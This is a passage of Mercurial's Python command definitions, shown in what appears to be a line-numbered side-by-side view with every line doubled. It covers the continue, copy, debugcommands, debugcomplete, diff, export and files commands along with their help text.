2363 fm.condwrite(show_source, b'source', b'%s: ', source)
2363 fm.condwrite(show_source, b'source', b'%s: ', source)
2364 if uniquesel:
2364 if uniquesel:
2365 fm.data(name=entryname)
2365 fm.data(name=entryname)
2366 fm.write(b'value', b'%s\n', value)
2366 fm.write(b'value', b'%s\n', value)
2367 else:
2367 else:
2368 fm.write(b'name value', b'%s=%s\n', entryname, value)
2368 fm.write(b'name value', b'%s=%s\n', entryname, value)
2369 if formatter.isprintable(defaultvalue):
2369 if formatter.isprintable(defaultvalue):
2370 fm.data(defaultvalue=defaultvalue)
2370 fm.data(defaultvalue=defaultvalue)
2371 elif isinstance(defaultvalue, list) and all(
2371 elif isinstance(defaultvalue, list) and all(
2372 formatter.isprintable(e) for e in defaultvalue
2372 formatter.isprintable(e) for e in defaultvalue
2373 ):
2373 ):
2374 fm.data(defaultvalue=fm.formatlist(defaultvalue, name=b'value'))
2374 fm.data(defaultvalue=fm.formatlist(defaultvalue, name=b'value'))
2375 # TODO: no idea how to process unsupported defaultvalue types
2375 # TODO: no idea how to process unsupported defaultvalue types
2376 matched = True
2376 matched = True
2377 fm.end()
2377 fm.end()
2378 if matched:
2378 if matched:
2379 return 0
2379 return 0
2380 return 1
2380 return 1
2381
2381
2382
2382
2383 @command(
2383 @command(
2384 b'continue',
2384 b'continue',
2385 dryrunopts,
2385 dryrunopts,
2386 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2386 helpcategory=command.CATEGORY_CHANGE_MANAGEMENT,
2387 helpbasic=True,
2387 helpbasic=True,
2388 )
2388 )
2389 def continuecmd(ui, repo, **opts):
2389 def continuecmd(ui, repo, **opts):
2390 """resumes an interrupted operation (EXPERIMENTAL)
2390 """resumes an interrupted operation (EXPERIMENTAL)
2391
2391
2392 Finishes a multistep operation like graft, histedit, rebase, merge,
2392 Finishes a multistep operation like graft, histedit, rebase, merge,
2393 and unshelve if they are in an interrupted state.
2393 and unshelve if they are in an interrupted state.
2394
2394
2395 use --dry-run/-n to dry run the command.
2395 use --dry-run/-n to dry run the command.
2396 """
2396 """
2397 dryrun = opts.get('dry_run')
2397 dryrun = opts.get('dry_run')
2398 contstate = cmdutil.getunfinishedstate(repo)
2398 contstate = cmdutil.getunfinishedstate(repo)
2399 if not contstate:
2399 if not contstate:
2400 raise error.StateError(_(b'no operation in progress'))
2400 raise error.StateError(_(b'no operation in progress'))
2401 if not contstate.continuefunc:
2401 if not contstate.continuefunc:
2402 raise error.StateError(
2402 raise error.StateError(
2403 (
2403 (
2404 _(b"%s in progress but does not support 'hg continue'")
2404 _(b"%s in progress but does not support 'hg continue'")
2405 % (contstate._opname)
2405 % (contstate._opname)
2406 ),
2406 ),
2407 hint=contstate.continuemsg(),
2407 hint=contstate.continuemsg(),
2408 )
2408 )
2409 if dryrun:
2409 if dryrun:
2410 ui.status(_(b'%s in progress, will be resumed\n') % (contstate._opname))
2410 ui.status(_(b'%s in progress, will be resumed\n') % (contstate._opname))
2411 return
2411 return
2412 return contstate.continuefunc(ui, repo)
2412 return contstate.continuefunc(ui, repo)
2413
2413
2414
2414
2415 @command(
2415 @command(
2416 b'copy|cp',
2416 b'copy|cp',
2417 [
2417 [
2418 (b'', b'forget', None, _(b'unmark a destination file as copied')),
2418 (b'', b'forget', None, _(b'unmark a destination file as copied')),
2419 (b'A', b'after', None, _(b'record a copy that has already occurred')),
2419 (b'A', b'after', None, _(b'record a copy that has already occurred')),
2420 (
2420 (
2421 b'',
2421 b'',
2422 b'at-rev',
2422 b'at-rev',
2423 b'',
2423 b'',
2424 _(b'(un)mark copies in the given revision (EXPERIMENTAL)'),
2424 _(b'(un)mark copies in the given revision (EXPERIMENTAL)'),
2425 _(b'REV'),
2425 _(b'REV'),
2426 ),
2426 ),
2427 (
2427 (
2428 b'f',
2428 b'f',
2429 b'force',
2429 b'force',
2430 None,
2430 None,
2431 _(b'forcibly copy over an existing managed file'),
2431 _(b'forcibly copy over an existing managed file'),
2432 ),
2432 ),
2433 ]
2433 ]
2434 + walkopts
2434 + walkopts
2435 + dryrunopts,
2435 + dryrunopts,
2436 _(b'[OPTION]... (SOURCE... DEST | --forget DEST...)'),
2436 _(b'[OPTION]... (SOURCE... DEST | --forget DEST...)'),
2437 helpcategory=command.CATEGORY_FILE_CONTENTS,
2437 helpcategory=command.CATEGORY_FILE_CONTENTS,
2438 )
2438 )
2439 def copy(ui, repo, *pats, **opts):
2439 def copy(ui, repo, *pats, **opts):
2440 """mark files as copied for the next commit
2440 """mark files as copied for the next commit
2441
2441
2442 Mark dest as having copies of source files. If dest is a
2442 Mark dest as having copies of source files. If dest is a
2443 directory, copies are put in that directory. If dest is a file,
2443 directory, copies are put in that directory. If dest is a file,
2444 the source must be a single file.
2444 the source must be a single file.
2445
2445
2446 By default, this command copies the contents of files as they
2446 By default, this command copies the contents of files as they
2447 exist in the working directory. If invoked with -A/--after, the
2447 exist in the working directory. If invoked with -A/--after, the
2448 operation is recorded, but no copying is performed.
2448 operation is recorded, but no copying is performed.
2449
2449
2450 To undo marking a destination file as copied, use --forget. With that
2450 To undo marking a destination file as copied, use --forget. With that
2451 option, all given (positional) arguments are unmarked as copies. The
2451 option, all given (positional) arguments are unmarked as copies. The
2452 destination file(s) will be left in place (still tracked). Note that
2452 destination file(s) will be left in place (still tracked). Note that
2453 :hg:`copy --forget` behaves the same way as :hg:`rename --forget`.
2453 :hg:`copy --forget` behaves the same way as :hg:`rename --forget`.
2454
2454
2455 This command takes effect with the next commit by default.
2455 This command takes effect with the next commit by default.
2456
2456
2457 Returns 0 on success, 1 if errors are encountered.
2457 Returns 0 on success, 1 if errors are encountered.
2458 """
2458 """
2459 opts = pycompat.byteskwargs(opts)
2459 opts = pycompat.byteskwargs(opts)
2460 with repo.wlock():
2460 with repo.wlock():
2461 return cmdutil.copy(ui, repo, pats, opts)
2461 return cmdutil.copy(ui, repo, pats, opts)
2462
2462
2463
2463
2464 @command(
2464 @command(
2465 b'debugcommands',
2465 b'debugcommands',
2466 [],
2466 [],
2467 _(b'[COMMAND]'),
2467 _(b'[COMMAND]'),
2468 helpcategory=command.CATEGORY_HELP,
2468 helpcategory=command.CATEGORY_HELP,
2469 norepo=True,
2469 norepo=True,
2470 )
2470 )
2471 def debugcommands(ui, cmd=b'', *args):
2471 def debugcommands(ui, cmd=b'', *args):
2472 """list all available commands and options"""
2472 """list all available commands and options"""
2473 for cmd, vals in sorted(pycompat.iteritems(table)):
2473 for cmd, vals in sorted(pycompat.iteritems(table)):
2474 cmd = cmd.split(b'|')[0]
2474 cmd = cmd.split(b'|')[0]
2475 opts = b', '.join([i[1] for i in vals[1]])
2475 opts = b', '.join([i[1] for i in vals[1]])
2476 ui.write(b'%s: %s\n' % (cmd, opts))
2476 ui.write(b'%s: %s\n' % (cmd, opts))
2477
2477
2478
2478
2479 @command(
2479 @command(
2480 b'debugcomplete',
2480 b'debugcomplete',
2481 [(b'o', b'options', None, _(b'show the command options'))],
2481 [(b'o', b'options', None, _(b'show the command options'))],
2482 _(b'[-o] CMD'),
2482 _(b'[-o] CMD'),
2483 helpcategory=command.CATEGORY_HELP,
2483 helpcategory=command.CATEGORY_HELP,
2484 norepo=True,
2484 norepo=True,
2485 )
2485 )
2486 def debugcomplete(ui, cmd=b'', **opts):
2486 def debugcomplete(ui, cmd=b'', **opts):
2487 """returns the completion list associated with the given command"""
2487 """returns the completion list associated with the given command"""
2488
2488
2489 if opts.get('options'):
2489 if opts.get('options'):
2490 options = []
2490 options = []
2491 otables = [globalopts]
2491 otables = [globalopts]
2492 if cmd:
2492 if cmd:
2493 aliases, entry = cmdutil.findcmd(cmd, table, False)
2493 aliases, entry = cmdutil.findcmd(cmd, table, False)
2494 otables.append(entry[1])
2494 otables.append(entry[1])
2495 for t in otables:
2495 for t in otables:
2496 for o in t:
2496 for o in t:
2497 if b"(DEPRECATED)" in o[3]:
2497 if b"(DEPRECATED)" in o[3]:
2498 continue
2498 continue
2499 if o[0]:
2499 if o[0]:
2500 options.append(b'-%s' % o[0])
2500 options.append(b'-%s' % o[0])
2501 options.append(b'--%s' % o[1])
2501 options.append(b'--%s' % o[1])
2502 ui.write(b"%s\n" % b"\n".join(options))
2502 ui.write(b"%s\n" % b"\n".join(options))
2503 return
2503 return
2504
2504
2505 cmdlist, unused_allcmds = cmdutil.findpossible(cmd, table)
2505 cmdlist, unused_allcmds = cmdutil.findpossible(cmd, table)
2506 if ui.verbose:
2506 if ui.verbose:
2507 cmdlist = [b' '.join(c[0]) for c in cmdlist.values()]
2507 cmdlist = [b' '.join(c[0]) for c in cmdlist.values()]
2508 ui.write(b"%s\n" % b"\n".join(sorted(cmdlist)))
2508 ui.write(b"%s\n" % b"\n".join(sorted(cmdlist)))
2509
2509
2510
2510
2511 @command(
2511 @command(
2512 b'diff',
2512 b'diff',
2513 [
2513 [
2514 (b'r', b'rev', [], _(b'revision (DEPRECATED)'), _(b'REV')),
2514 (b'r', b'rev', [], _(b'revision (DEPRECATED)'), _(b'REV')),
2515 (b'', b'from', b'', _(b'revision to diff from'), _(b'REV1')),
2515 (b'', b'from', b'', _(b'revision to diff from'), _(b'REV1')),
2516 (b'', b'to', b'', _(b'revision to diff to'), _(b'REV2')),
2516 (b'', b'to', b'', _(b'revision to diff to'), _(b'REV2')),
2517 (b'c', b'change', b'', _(b'change made by revision'), _(b'REV')),
2517 (b'c', b'change', b'', _(b'change made by revision'), _(b'REV')),
2518 ]
2518 ]
2519 + diffopts
2519 + diffopts
2520 + diffopts2
2520 + diffopts2
2521 + walkopts
2521 + walkopts
2522 + subrepoopts,
2522 + subrepoopts,
2523 _(b'[OPTION]... ([-c REV] | [--from REV1] [--to REV2]) [FILE]...'),
2523 _(b'[OPTION]... ([-c REV] | [--from REV1] [--to REV2]) [FILE]...'),
2524 helpcategory=command.CATEGORY_FILE_CONTENTS,
2524 helpcategory=command.CATEGORY_FILE_CONTENTS,
2525 helpbasic=True,
2525 helpbasic=True,
2526 inferrepo=True,
2526 inferrepo=True,
2527 intents={INTENT_READONLY},
2527 intents={INTENT_READONLY},
2528 )
2528 )
2529 def diff(ui, repo, *pats, **opts):
2529 def diff(ui, repo, *pats, **opts):
2530 """diff repository (or selected files)
2530 """diff repository (or selected files)
2531
2531
2532 Show differences between revisions for the specified files.
2532 Show differences between revisions for the specified files.
2533
2533
2534 Differences between files are shown using the unified diff format.
2534 Differences between files are shown using the unified diff format.
2535
2535
2536 .. note::
2536 .. note::
2537
2537
2538 :hg:`diff` may generate unexpected results for merges, as it will
2538 :hg:`diff` may generate unexpected results for merges, as it will
2539 default to comparing against the working directory's first
2539 default to comparing against the working directory's first
2540 parent changeset if no revisions are specified.
2540 parent changeset if no revisions are specified.
2541
2541
2542 By default, the working directory files are compared to its first parent. To
2542 By default, the working directory files are compared to its first parent. To
2543 see the differences from another revision, use --from. To see the difference
2543 see the differences from another revision, use --from. To see the difference
2544 to another revision, use --to. For example, :hg:`diff --from .^` will show
2544 to another revision, use --to. For example, :hg:`diff --from .^` will show
2545 the differences from the working copy's grandparent to the working copy,
2545 the differences from the working copy's grandparent to the working copy,
2546 :hg:`diff --to .` will show the diff from the working copy to its parent
2546 :hg:`diff --to .` will show the diff from the working copy to its parent
2547 (i.e. the reverse of the default), and :hg:`diff --from 1.0 --to 1.2` will
2547 (i.e. the reverse of the default), and :hg:`diff --from 1.0 --to 1.2` will
2548 show the diff between those two revisions.
2548 show the diff between those two revisions.
2549
2549
2550 Alternatively you can specify -c/--change with a revision to see the changes
2550 Alternatively you can specify -c/--change with a revision to see the changes
2551 in that changeset relative to its first parent (i.e. :hg:`diff -c 42` is
2551 in that changeset relative to its first parent (i.e. :hg:`diff -c 42` is
2552 equivalent to :hg:`diff --from 42^ --to 42`)
2552 equivalent to :hg:`diff --from 42^ --to 42`)
2553
2553
2554 Without the -a/--text option, diff will avoid generating diffs of
2554 Without the -a/--text option, diff will avoid generating diffs of
2555 files it detects as binary. With -a, diff will generate a diff
2555 files it detects as binary. With -a, diff will generate a diff
2556 anyway, probably with undesirable results.
2556 anyway, probably with undesirable results.
2557
2557
2558 Use the -g/--git option to generate diffs in the git extended diff
2558 Use the -g/--git option to generate diffs in the git extended diff
2559 format. For more information, read :hg:`help diffs`.
2559 format. For more information, read :hg:`help diffs`.
2560
2560
2561 .. container:: verbose
2561 .. container:: verbose
2562
2562
2563 Examples:
2563 Examples:
2564
2564
2565 - compare a file in the current working directory to its parent::
2565 - compare a file in the current working directory to its parent::
2566
2566
2567 hg diff foo.c
2567 hg diff foo.c
2568
2568
2569 - compare two historical versions of a directory, with rename info::
2569 - compare two historical versions of a directory, with rename info::
2570
2570
2571 hg diff --git --from 1.0 --to 1.2 lib/
2571 hg diff --git --from 1.0 --to 1.2 lib/
2572
2572
2573 - get change stats relative to the last change on some date::
2573 - get change stats relative to the last change on some date::
2574
2574
2575 hg diff --stat --from "date('may 2')"
2575 hg diff --stat --from "date('may 2')"
2576
2576
2577 - diff all newly-added files that contain a keyword::
2577 - diff all newly-added files that contain a keyword::
2578
2578
2579 hg diff "set:added() and grep(GNU)"
2579 hg diff "set:added() and grep(GNU)"
2580
2580
2581 - compare a revision and its parents::
2581 - compare a revision and its parents::
2582
2582
2583 hg diff -c 9353 # compare against first parent
2583 hg diff -c 9353 # compare against first parent
2584 hg diff --from 9353^ --to 9353 # same using revset syntax
2584 hg diff --from 9353^ --to 9353 # same using revset syntax
2585 hg diff --from 9353^2 --to 9353 # compare against the second parent
2585 hg diff --from 9353^2 --to 9353 # compare against the second parent
2586
2586
2587 Returns 0 on success.
2587 Returns 0 on success.
2588 """
2588 """
2589
2589
2590 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
2590 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
2591 opts = pycompat.byteskwargs(opts)
2591 opts = pycompat.byteskwargs(opts)
2592 revs = opts.get(b'rev')
2592 revs = opts.get(b'rev')
2593 change = opts.get(b'change')
2593 change = opts.get(b'change')
2594 from_rev = opts.get(b'from')
2594 from_rev = opts.get(b'from')
2595 to_rev = opts.get(b'to')
2595 to_rev = opts.get(b'to')
2596 stat = opts.get(b'stat')
2596 stat = opts.get(b'stat')
2597 reverse = opts.get(b'reverse')
2597 reverse = opts.get(b'reverse')
2598
2598
2599 cmdutil.check_incompatible_arguments(opts, b'from', [b'rev', b'change'])
2599 cmdutil.check_incompatible_arguments(opts, b'from', [b'rev', b'change'])
2600 cmdutil.check_incompatible_arguments(opts, b'to', [b'rev', b'change'])
2600 cmdutil.check_incompatible_arguments(opts, b'to', [b'rev', b'change'])
2601 if change:
2601 if change:
2602 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
2602 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
2603 ctx2 = logcmdutil.revsingle(repo, change, None)
2603 ctx2 = logcmdutil.revsingle(repo, change, None)
2604 ctx1 = logcmdutil.diff_parent(ctx2)
2604 ctx1 = logcmdutil.diff_parent(ctx2)
2605 elif from_rev or to_rev:
2605 elif from_rev or to_rev:
2606 repo = scmutil.unhidehashlikerevs(
2606 repo = scmutil.unhidehashlikerevs(
2607 repo, [from_rev] + [to_rev], b'nowarn'
2607 repo, [from_rev] + [to_rev], b'nowarn'
2608 )
2608 )
2609 ctx1 = logcmdutil.revsingle(repo, from_rev, None)
2609 ctx1 = logcmdutil.revsingle(repo, from_rev, None)
2610 ctx2 = logcmdutil.revsingle(repo, to_rev, None)
2610 ctx2 = logcmdutil.revsingle(repo, to_rev, None)
2611 else:
2611 else:
2612 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
2612 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
2613 ctx1, ctx2 = logcmdutil.revpair(repo, revs)
2613 ctx1, ctx2 = logcmdutil.revpair(repo, revs)
2614
2614
2615 if reverse:
2615 if reverse:
2616 ctxleft = ctx2
2616 ctxleft = ctx2
2617 ctxright = ctx1
2617 ctxright = ctx1
2618 else:
2618 else:
2619 ctxleft = ctx1
2619 ctxleft = ctx1
2620 ctxright = ctx2
2620 ctxright = ctx2
2621
2621
2622 diffopts = patch.diffallopts(ui, opts)
2622 diffopts = patch.diffallopts(ui, opts)
2623 m = scmutil.match(ctx2, pats, opts)
2623 m = scmutil.match(ctx2, pats, opts)
2624 m = repo.narrowmatch(m)
2624 m = repo.narrowmatch(m)
2625 ui.pager(b'diff')
2625 ui.pager(b'diff')
2626 logcmdutil.diffordiffstat(
2626 logcmdutil.diffordiffstat(
2627 ui,
2627 ui,
2628 repo,
2628 repo,
2629 diffopts,
2629 diffopts,
2630 ctxleft,
2630 ctxleft,
2631 ctxright,
2631 ctxright,
2632 m,
2632 m,
2633 stat=stat,
2633 stat=stat,
2634 listsubrepos=opts.get(b'subrepos'),
2634 listsubrepos=opts.get(b'subrepos'),
2635 root=opts.get(b'root'),
2635 root=opts.get(b'root'),
2636 )
2636 )
2637
2637
2638
2638
2639 @command(
2639 @command(
2640 b'export',
2640 b'export',
2641 [
2641 [
2642 (
2642 (
2643 b'B',
2643 b'B',
2644 b'bookmark',
2644 b'bookmark',
2645 b'',
2645 b'',
2646 _(b'export changes only reachable by given bookmark'),
2646 _(b'export changes only reachable by given bookmark'),
2647 _(b'BOOKMARK'),
2647 _(b'BOOKMARK'),
2648 ),
2648 ),
2649 (
2649 (
2650 b'o',
2650 b'o',
2651 b'output',
2651 b'output',
2652 b'',
2652 b'',
2653 _(b'print output to file with formatted name'),
2653 _(b'print output to file with formatted name'),
2654 _(b'FORMAT'),
2654 _(b'FORMAT'),
2655 ),
2655 ),
2656 (b'', b'switch-parent', None, _(b'diff against the second parent')),
2656 (b'', b'switch-parent', None, _(b'diff against the second parent')),
2657 (b'r', b'rev', [], _(b'revisions to export'), _(b'REV')),
2657 (b'r', b'rev', [], _(b'revisions to export'), _(b'REV')),
2658 ]
2658 ]
2659 + diffopts
2659 + diffopts
2660 + formatteropts,
2660 + formatteropts,
2661 _(b'[OPTION]... [-o OUTFILESPEC] [-r] [REV]...'),
2661 _(b'[OPTION]... [-o OUTFILESPEC] [-r] [REV]...'),
2662 helpcategory=command.CATEGORY_IMPORT_EXPORT,
2662 helpcategory=command.CATEGORY_IMPORT_EXPORT,
2663 helpbasic=True,
2663 helpbasic=True,
2664 intents={INTENT_READONLY},
2664 intents={INTENT_READONLY},
2665 )
2665 )
2666 def export(ui, repo, *changesets, **opts):
2666 def export(ui, repo, *changesets, **opts):
2667 """dump the header and diffs for one or more changesets
2667 """dump the header and diffs for one or more changesets
2668
2668
2669 Print the changeset header and diffs for one or more revisions.
2669 Print the changeset header and diffs for one or more revisions.
2670 If no revision is given, the parent of the working directory is used.
2670 If no revision is given, the parent of the working directory is used.
2671
2671
2672 The information shown in the changeset header is: author, date,
2672 The information shown in the changeset header is: author, date,
2673 branch name (if non-default), changeset hash, parent(s) and commit
2673 branch name (if non-default), changeset hash, parent(s) and commit
2674 comment.
2674 comment.
2675
2675
2676 .. note::
2676 .. note::
2677
2677
2678 :hg:`export` may generate unexpected diff output for merge
2678 :hg:`export` may generate unexpected diff output for merge
2679 changesets, as it will compare the merge changeset against its
2679 changesets, as it will compare the merge changeset against its
2680 first parent only.
2680 first parent only.
2681
2681
2682 Output may be to a file, in which case the name of the file is
2682 Output may be to a file, in which case the name of the file is
2683 given using a template string. See :hg:`help templates`. In addition
2683 given using a template string. See :hg:`help templates`. In addition
2684 to the common template keywords, the following formatting rules are
2684 to the common template keywords, the following formatting rules are
2685 supported:
2685 supported:
2686
2686
2687 :``%%``: literal "%" character
2687 :``%%``: literal "%" character
2688 :``%H``: changeset hash (40 hexadecimal digits)
2688 :``%H``: changeset hash (40 hexadecimal digits)
2689 :``%N``: number of patches being generated
2689 :``%N``: number of patches being generated
2690 :``%R``: changeset revision number
2690 :``%R``: changeset revision number
2691 :``%b``: basename of the exporting repository
2691 :``%b``: basename of the exporting repository
2692 :``%h``: short-form changeset hash (12 hexadecimal digits)
2692 :``%h``: short-form changeset hash (12 hexadecimal digits)
2693 :``%m``: first line of the commit message (only alphanumeric characters)
2693 :``%m``: first line of the commit message (only alphanumeric characters)
2694 :``%n``: zero-padded sequence number, starting at 1
2694 :``%n``: zero-padded sequence number, starting at 1
2695 :``%r``: zero-padded changeset revision number
2695 :``%r``: zero-padded changeset revision number
2696 :``\\``: literal "\\" character
2696 :``\\``: literal "\\" character
2697
2697
2698 Without the -a/--text option, export will avoid generating diffs
2698 Without the -a/--text option, export will avoid generating diffs
2699 of files it detects as binary. With -a, export will generate a
2699 of files it detects as binary. With -a, export will generate a
2700 diff anyway, probably with undesirable results.
2700 diff anyway, probably with undesirable results.
2701
2701
2702 With -B/--bookmark changesets reachable by the given bookmark are
2702 With -B/--bookmark changesets reachable by the given bookmark are
2703 selected.
2703 selected.
2704
2704
2705 Use the -g/--git option to generate diffs in the git extended diff
2705 Use the -g/--git option to generate diffs in the git extended diff
2706 format. See :hg:`help diffs` for more information.
2706 format. See :hg:`help diffs` for more information.
2707
2707
2708 With the --switch-parent option, the diff will be against the
2708 With the --switch-parent option, the diff will be against the
2709 second parent. It can be useful to review a merge.
2709 second parent. It can be useful to review a merge.
2710
2710
2711 .. container:: verbose
2711 .. container:: verbose
2712
2712
2713 Template:
2713 Template:
2714
2714
2715 The following keywords are supported in addition to the common template
2715 The following keywords are supported in addition to the common template
2716 keywords and functions. See also :hg:`help templates`.
2716 keywords and functions. See also :hg:`help templates`.
2717
2717
2718 :diff: String. Diff content.
2718 :diff: String. Diff content.
2719 :parents: List of strings. Parent nodes of the changeset.
2719 :parents: List of strings. Parent nodes of the changeset.
2720
2720
2721 Examples:
2721 Examples:
2722
2722
2723 - use export and import to transplant a bugfix to the current
2723 - use export and import to transplant a bugfix to the current
2724 branch::
2724 branch::
2725
2725
2726 hg export -r 9353 | hg import -
2726 hg export -r 9353 | hg import -
2727
2727
2728 - export all the changesets between two revisions to a file with
2728 - export all the changesets between two revisions to a file with
2729 rename information::
2729 rename information::
2730
2730
2731 hg export --git -r 123:150 > changes.txt
2731 hg export --git -r 123:150 > changes.txt
2732
2732
2733 - split outgoing changes into a series of patches with
2733 - split outgoing changes into a series of patches with
2734 descriptive names::
2734 descriptive names::
2735
2735
2736 hg export -r "outgoing()" -o "%n-%m.patch"
2736 hg export -r "outgoing()" -o "%n-%m.patch"
2737
2737
2738 Returns 0 on success.
2738 Returns 0 on success.
2739 """
2739 """
2740 opts = pycompat.byteskwargs(opts)
2740 opts = pycompat.byteskwargs(opts)
2741 bookmark = opts.get(b'bookmark')
2741 bookmark = opts.get(b'bookmark')
2742 changesets += tuple(opts.get(b'rev', []))
2742 changesets += tuple(opts.get(b'rev', []))
2743
2743
2744 cmdutil.check_at_most_one_arg(opts, b'rev', b'bookmark')
2744 cmdutil.check_at_most_one_arg(opts, b'rev', b'bookmark')
2745
2745
2746 if bookmark:
2746 if bookmark:
2747 if bookmark not in repo._bookmarks:
2747 if bookmark not in repo._bookmarks:
2748 raise error.InputError(_(b"bookmark '%s' not found") % bookmark)
2748 raise error.InputError(_(b"bookmark '%s' not found") % bookmark)
2749
2749
2750 revs = scmutil.bookmarkrevs(repo, bookmark)
2750 revs = scmutil.bookmarkrevs(repo, bookmark)
2751 else:
2751 else:
2752 if not changesets:
2752 if not changesets:
2753 changesets = [b'.']
2753 changesets = [b'.']
2754
2754
2755 repo = scmutil.unhidehashlikerevs(repo, changesets, b'nowarn')
2755 repo = scmutil.unhidehashlikerevs(repo, changesets, b'nowarn')
2756 revs = logcmdutil.revrange(repo, changesets)
2756 revs = logcmdutil.revrange(repo, changesets)
2757
2757
2758 if not revs:
2758 if not revs:
2759 raise error.InputError(_(b"export requires at least one changeset"))
2759 raise error.InputError(_(b"export requires at least one changeset"))
2760 if len(revs) > 1:
2760 if len(revs) > 1:
2761 ui.note(_(b'exporting patches:\n'))
2761 ui.note(_(b'exporting patches:\n'))
2762 else:
2762 else:
2763 ui.note(_(b'exporting patch:\n'))
2763 ui.note(_(b'exporting patch:\n'))
2764
2764
2765 fntemplate = opts.get(b'output')
2765 fntemplate = opts.get(b'output')
2766 if cmdutil.isstdiofilename(fntemplate):
2766 if cmdutil.isstdiofilename(fntemplate):
2767 fntemplate = b''
2767 fntemplate = b''
2768
2768
2769 if fntemplate:
2769 if fntemplate:
2770 fm = formatter.nullformatter(ui, b'export', opts)
2770 fm = formatter.nullformatter(ui, b'export', opts)
2771 else:
2771 else:
2772 ui.pager(b'export')
2772 ui.pager(b'export')
2773 fm = ui.formatter(b'export', opts)
2773 fm = ui.formatter(b'export', opts)
2774 with fm:
2774 with fm:
2775 cmdutil.export(
2775 cmdutil.export(
2776 repo,
2776 repo,
2777 revs,
2777 revs,
2778 fm,
2778 fm,
2779 fntemplate=fntemplate,
2779 fntemplate=fntemplate,
2780 switch_parent=opts.get(b'switch_parent'),
2780 switch_parent=opts.get(b'switch_parent'),
2781 opts=patch.diffallopts(ui, opts),
2781 opts=patch.diffallopts(ui, opts),
2782 )
2782 )
2783
2783
2784
2784
2785 @command(
2785 @command(
2786 b'files',
2786 b'files',
2787 [
2787 [
2788 (
2788 (
2789 b'r',
2789 b'r',
2790 b'rev',
2790 b'rev',
2791 b'',
2791 b'',
2792 _(b'search the repository as it is in REV'),
2792 _(b'search the repository as it is in REV'),
2793 _(b'REV'),
2793 _(b'REV'),
2794 ),
2794 ),
2795 (
2795 (
2796 b'0',
2796 b'0',
2797 b'print0',
2797 b'print0',
2798 None,
2798 None,
2799 _(b'end filenames with NUL, for use with xargs'),
2799 _(b'end filenames with NUL, for use with xargs'),
2800 ),
2800 ),
2801 ]
2801 ]
2802 + walkopts
2802 + walkopts
2803 + formatteropts
2803 + formatteropts
2804 + subrepoopts,
2804 + subrepoopts,
2805 _(b'[OPTION]... [FILE]...'),
2805 _(b'[OPTION]... [FILE]...'),
2806 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2806 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
2807 intents={INTENT_READONLY},
2807 intents={INTENT_READONLY},
2808 )
2808 )
2809 def files(ui, repo, *pats, **opts):
2809 def files(ui, repo, *pats, **opts):
2810 """list tracked files
2810 """list tracked files
2811
2811
2812 Print files under Mercurial control in the working directory or
2812 Print files under Mercurial control in the working directory or
2813 specified revision for given files (excluding removed files).
2813 specified revision for given files (excluding removed files).
2814 Files can be specified as filenames or filesets.
2814 Files can be specified as filenames or filesets.
2815
2815
2816 If no files are given to match, this command prints the names
2816 If no files are given to match, this command prints the names
2817 of all files under Mercurial control.
2817 of all files under Mercurial control.
2818
2818
2819 .. container:: verbose
2819 .. container:: verbose
2820
2820
2821 Template:
2821 Template:
2822
2822
2823 The following keywords are supported in addition to the common template
2823 The following keywords are supported in addition to the common template
2824 keywords and functions. See also :hg:`help templates`.
2824 keywords and functions. See also :hg:`help templates`.
2825
2825
2826 :flags: String. Character denoting file's symlink and executable bits.
2826 :flags: String. Character denoting file's symlink and executable bits.
2827 :path: String. Repository-absolute path of the file.
2827 :path: String. Repository-absolute path of the file.
2828 :size: Integer. Size of the file in bytes.
2828 :size: Integer. Size of the file in bytes.
2829
2829
2830 Examples:
2830 Examples:
2831
2831
2832 - list all files under the current directory::
2832 - list all files under the current directory::
2833
2833
2834 hg files .
2834 hg files .
2835
2835
2836 - shows sizes and flags for current revision::
2836 - shows sizes and flags for current revision::
2837
2837
2838 hg files -vr .
2838 hg files -vr .
2839
2839
2840 - list all files named README::
2840 - list all files named README::
2841
2841
2842 hg files -I "**/README"
2842 hg files -I "**/README"
2843
2843
2844 - list all binary files::
2844 - list all binary files::
2845
2845
2846 hg files "set:binary()"
2846 hg files "set:binary()"
2847
2847
2848 - find files containing a regular expression::
2848 - find files containing a regular expression::
2849
2849
2850 hg files "set:grep('bob')"
2850 hg files "set:grep('bob')"
2851
2851
2852 - search tracked file contents with xargs and grep::
2852 - search tracked file contents with xargs and grep::
2853
2853
2854 hg files -0 | xargs -0 grep foo
2854 hg files -0 | xargs -0 grep foo
2855
2855
2856 See :hg:`help patterns` and :hg:`help filesets` for more information
2856 See :hg:`help patterns` and :hg:`help filesets` for more information
2857 on specifying file patterns.
2857 on specifying file patterns.
2858
2858
2859 Returns 0 if a match is found, 1 otherwise.
2859 Returns 0 if a match is found, 1 otherwise.
2860
2860
2861 """
2861 """
2862
2862
2863 opts = pycompat.byteskwargs(opts)
2863 opts = pycompat.byteskwargs(opts)
2864 rev = opts.get(b'rev')
2864 rev = opts.get(b'rev')
2865 if rev:
2865 if rev:
2866 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
2866 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
2867 ctx = logcmdutil.revsingle(repo, rev, None)
2867 ctx = logcmdutil.revsingle(repo, rev, None)
2868
2868
2869 end = b'\n'
2869 end = b'\n'
2870 if opts.get(b'print0'):
2870 if opts.get(b'print0'):
2871 end = b'\0'
2871 end = b'\0'
2872 fmt = b'%s' + end
2872 fmt = b'%s' + end
2873
2873
2874 m = scmutil.match(ctx, pats, opts)
2874 m = scmutil.match(ctx, pats, opts)
2875 ui.pager(b'files')
2875 ui.pager(b'files')
2876 uipathfn = scmutil.getuipathfn(ctx.repo(), legacyrelativevalue=True)
2876 uipathfn = scmutil.getuipathfn(ctx.repo(), legacyrelativevalue=True)
2877 with ui.formatter(b'files', opts) as fm:
2877 with ui.formatter(b'files', opts) as fm:
2878 return cmdutil.files(
2878 return cmdutil.files(
2879 ui, ctx, m, uipathfn, fm, fmt, opts.get(b'subrepos')
2879 ui, ctx, m, uipathfn, fm, fmt, opts.get(b'subrepos')
2880 )
2880 )
2881
2881
2882
2882
2883 @command(
2883 @command(
2884 b'forget',
2884 b'forget',
